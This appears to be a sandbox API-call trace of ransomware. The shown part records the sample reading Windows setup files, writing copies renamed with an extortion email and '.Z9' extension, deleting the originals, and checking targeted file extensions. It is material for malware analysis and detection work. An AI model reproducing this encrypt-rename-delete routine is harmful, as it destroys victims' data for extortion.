	[0070.344] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0070.344] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=577) returned 1
	[0070.344] CloseHandle (hObject=0x330) returned 1
	[0070.344] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20
	[0070.344] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.344] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0070.344] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.344] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.345] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0070.345] GetLastError () returned 0x0
	[0070.345] ReadFile (in: hFile=0x330, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x241, lpOverlapped=0x0) returned 1
	[0070.476] WriteFile (in: hFile=0x334, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x250, lpOverlapped=0x0) returned 1
	[0070.477] ReadFile (in: hFile=0x330, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.477] WriteFile (in: hFile=0x334, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x104, lpOverlapped=0x0) returned 1
	[0070.477] SetEndOfFile (hFile=0x334) returned 1
	[0070.919] CloseHandle (hObject=0x334) returned 1
	[0070.920] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.920] SetEndOfFile (hFile=0x330) returned 1
	[0070.921] CloseHandle (hObject=0x330) returned 1
	[0070.921] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0070.921] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1
	[0070.922] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.922] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.922] lstrlenW (lpString=".doc") returned 4
	[0070.922] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0070.922] lstrlenW (lpString=".docx") returned 5
	[0070.922] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0070.922] lstrlenW (lpString=".pdf") returned 4
	[0070.922] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0070.922] lstrlenW (lpString=".xls") returned 4
	[0070.922] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0070.922] lstrlenW (lpString=".xlsx") returned 5
	[0070.922] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0070.922] lstrlenW (lpString=".ppt") returned 4
	[0070.922] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0070.922] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.922] lstrlenW (lpString=".zip") returned 4
	[0070.922] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0070.922] lstrlenW (lpString=".rar") returned 4
	[0070.922] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0070.922] lstrlenW (lpString=".bz2") returned 4
	[0070.922] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0070.923] lstrlenW (lpString=".7z") returned 3
	[0070.923] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0070.923] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.923] lstrlenW (lpString=".dbf") returned 4
	[0070.923] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0070.923] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.923] lstrlenW (lpString=".1cd") returned 4
	[0070.923] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0070.923] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.923] lstrlenW (lpString=".jpg") returned 4
	[0070.923] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0070.923] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.923] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.923] lstrlenW (lpString=".doc") returned 4
	[0070.923] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0070.923] lstrlenW (lpString=".docx") returned 5
	[0070.923] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0070.923] lstrlenW (lpString=".pdf") returned 4
	[0070.923] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0070.923] lstrlenW (lpString=".xls") returned 4
	[0070.923] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0070.923] lstrlenW (lpString=".xlsx") returned 5
	[0070.923] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0070.923] lstrlenW (lpString=".ppt") returned 4
	[0070.923] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0070.923] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.924] lstrlenW (lpString=".zip") returned 4
	[0070.924] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0070.924] lstrlenW (lpString=".rar") returned 4
	[0070.924] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0070.924] lstrlenW (lpString=".bz2") returned 4
	[0070.924] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0070.924] lstrlenW (lpString=".7z") returned 3
	[0070.924] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0070.924] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.924] lstrlenW (lpString=".dbf") returned 4
	[0070.924] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0070.924] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.924] lstrlenW (lpString=".1cd") returned 4
	[0070.924] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0070.924] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0070.924] lstrlenW (lpString=".jpg") returned 4
	[0070.924] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0070.924] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0070.924] lstrlenW (lpString="SetupResources.dll") returned 18
	[0070.924] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0070.925] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=14168) returned 1
	[0070.925] CloseHandle (hObject=0x330) returned 1
	[0070.925] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80
	[0070.926] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0070.926] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.926] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0070.926] GetLastError () returned 0x0
	[0070.926] ReadFile (in: hFile=0x330, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x3758, lpOverlapped=0x0) returned 1
	[0070.982] WriteFile (in: hFile=0x334, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x3760, lpOverlapped=0x0) returned 1
	[0070.984] ReadFile (in: hFile=0x330, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.984] WriteFile (in: hFile=0x334, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0070.984] SetEndOfFile (hFile=0x334) returned 1
	[0070.984] CloseHandle (hObject=0x334) returned 1
	[0070.986] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.986] SetEndOfFile (hFile=0x330) returned 1
	[0070.987] CloseHandle (hObject=0x330) returned 1
	[0070.987] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.987] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1
	[0070.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.988] lstrlenW (lpString=".doc") returned 4
	[0070.988] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0070.988] lstrlenW (lpString=".docx") returned 5
	[0070.988] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0070.988] lstrlenW (lpString=".pdf") returned 4
	[0070.988] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0070.988] lstrlenW (lpString=".xls") returned 4
	[0070.988] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0070.988] lstrlenW (lpString=".xlsx") returned 5
	[0070.988] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0070.988] lstrlenW (lpString=".ppt") returned 4
	[0070.988] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0070.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.988] lstrlenW (lpString=".zip") returned 4
	[0070.988] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0070.988] lstrlenW (lpString=".rar") returned 4
	[0070.988] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0070.988] lstrlenW (lpString=".bz2") returned 4
	[0070.988] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0070.988] lstrlenW (lpString=".7z") returned 3
	[0070.988] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0070.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.989] lstrlenW (lpString=".dbf") returned 4
	[0070.989] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0070.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.989] lstrlenW (lpString=".1cd") returned 4
	[0070.989] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0070.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.989] lstrlenW (lpString=".jpg") returned 4
	[0070.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0070.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.989] lstrlenW (lpString=".doc") returned 4
	[0070.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0070.989] lstrlenW (lpString=".docx") returned 5
	[0070.989] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0070.989] lstrlenW (lpString=".pdf") returned 4
	[0070.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0070.989] lstrlenW (lpString=".xls") returned 4
	[0070.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0070.989] lstrlenW (lpString=".xlsx") returned 5
	[0070.989] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0070.989] lstrlenW (lpString=".ppt") returned 4
	[0070.989] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0070.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.989] lstrlenW (lpString=".zip") returned 4
	[0070.989] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0070.989] lstrlenW (lpString=".rar") returned 4
	[0070.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0070.990] lstrlenW (lpString=".bz2") returned 4
	[0070.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0070.990] lstrlenW (lpString=".7z") returned 3
	[0070.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0070.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.990] lstrlenW (lpString=".dbf") returned 4
	[0070.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0070.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.990] lstrlenW (lpString=".1cd") returned 4
	[0070.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0070.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0070.990] lstrlenW (lpString=".jpg") returned 4
	[0070.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0070.990] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0070.990] lstrlenW (lpString="SetupResources.dll") returned 18
	[0070.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0071.005] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18264) returned 1
	[0071.005] CloseHandle (hObject=0x2f4) returned 1
	[0071.006] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80
	[0071.006] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.006] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0071.006] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.006] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.006] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.007] GetLastError () returned 0x0
	[0071.007] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4758, lpOverlapped=0x0) returned 1
	[0071.013] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4760, lpOverlapped=0x0) returned 1
	[0071.019] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.019] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.019] SetEndOfFile (hFile=0x338) returned 1
	[0071.019] CloseHandle (hObject=0x338) returned 1
	[0071.021] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.021] SetEndOfFile (hFile=0x2f4) returned 1
	[0071.022] CloseHandle (hObject=0x2f4) returned 1
	[0071.022] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.022] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1
	[0071.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.022] lstrlenW (lpString=".doc") returned 4
	[0071.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.022] lstrlenW (lpString=".docx") returned 5
	[0071.022] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.022] lstrlenW (lpString=".pdf") returned 4
	[0071.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.022] lstrlenW (lpString=".xls") returned 4
	[0071.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.023] lstrlenW (lpString=".xlsx") returned 5
	[0071.023] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.023] lstrlenW (lpString=".ppt") returned 4
	[0071.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.023] lstrlenW (lpString=".zip") returned 4
	[0071.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.023] lstrlenW (lpString=".rar") returned 4
	[0071.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.023] lstrlenW (lpString=".bz2") returned 4
	[0071.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.023] lstrlenW (lpString=".7z") returned 3
	[0071.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.023] lstrlenW (lpString=".dbf") returned 4
	[0071.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.023] lstrlenW (lpString=".1cd") returned 4
	[0071.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.023] lstrlenW (lpString=".jpg") returned 4
	[0071.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.023] lstrlenW (lpString=".doc") returned 4
	[0071.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.023] lstrlenW (lpString=".docx") returned 5
	[0071.023] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.023] lstrlenW (lpString=".pdf") returned 4
	[0071.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.023] lstrlenW (lpString=".xls") returned 4
	[0071.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.023] lstrlenW (lpString=".xlsx") returned 5
	[0071.023] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.023] lstrlenW (lpString=".ppt") returned 4
	[0071.024] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.024] lstrlenW (lpString=".zip") returned 4
	[0071.024] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.024] lstrlenW (lpString=".rar") returned 4
	[0071.024] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.024] lstrlenW (lpString=".bz2") returned 4
	[0071.024] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.024] lstrlenW (lpString=".7z") returned 3
	[0071.024] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.024] lstrlenW (lpString=".dbf") returned 4
	[0071.024] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.024] lstrlenW (lpString=".1cd") returned 4
	[0071.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0071.024] lstrlenW (lpString=".jpg") returned 4
	[0071.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.024] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.024] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.036] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18264) returned 1
	[0071.036] CloseHandle (hObject=0x334) returned 1
	[0071.036] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80
	[0071.036] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.036] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.036] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.036] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.036] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0071.037] GetLastError () returned 0x0
